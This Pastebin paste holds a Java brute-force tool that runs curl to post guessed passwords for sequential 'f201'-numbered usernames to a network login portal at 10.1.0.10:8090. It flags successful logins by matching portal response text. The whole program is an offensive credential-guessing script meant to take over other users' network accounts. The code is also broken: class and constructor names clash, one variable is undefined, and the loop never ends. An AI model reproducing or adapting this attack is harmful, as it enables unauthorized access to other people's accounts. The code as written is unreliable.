Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- *
- * @authour adhi1419
- *
- */
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- public class CyberBrute {
- static String passwords[] = {
- //brute dictionary here
- };
- public static void main(String args[]) {
- for(int k = 0; k < passwords.length; k++){
- new StartBrute2(passwords[k]).start();
- }
- }
- }
- class StartBrute extends Thread {
- String sweg;
- String mInterfaces[] = {
- //Interfaces your PC can bind to
- };
- public StartBrute2(String pass) {
- sweg = pass;
- }
- public static void runCommand(String c, String id, String pass) {
- try {
- Process p = Runtime.getRuntime().exec("cmd /c " + c);
- p.waitFor();
- BufferedReader reader = new BufferedReader(new InputStreamReader(
- p.getInputStream()));
- String line;
- // System.out.println(id);
- while ((line = reader.readLine()) != null) {
- if (line.contains("You have successfully logged in") || line.contains("Your data transfer has been exceeded") || line.contains("Login Limit")) {
- System.out.print(id + ":" + pass + " ");
- // System.out.println(line);
- }
- }
- } catch (IOException e1) {
- } catch (InterruptedException e2) {
- }
- }
- @Override
- public void run() {
- for (;;) {
- String cmd = "F:\\Curl\\bin\\curl --insecure --data \"mode=191&userName="
- + "f201" + i
- + "&password="
- + sweg
- + "&btnSubmit=Login\" --location https://10.1.0.10:8090/httpclient.html -s";
- runCommand(cmd, "f201" + i, String.valueOf(sweg));
- }
- }
- }
Add Comment
Please, Sign In to add comment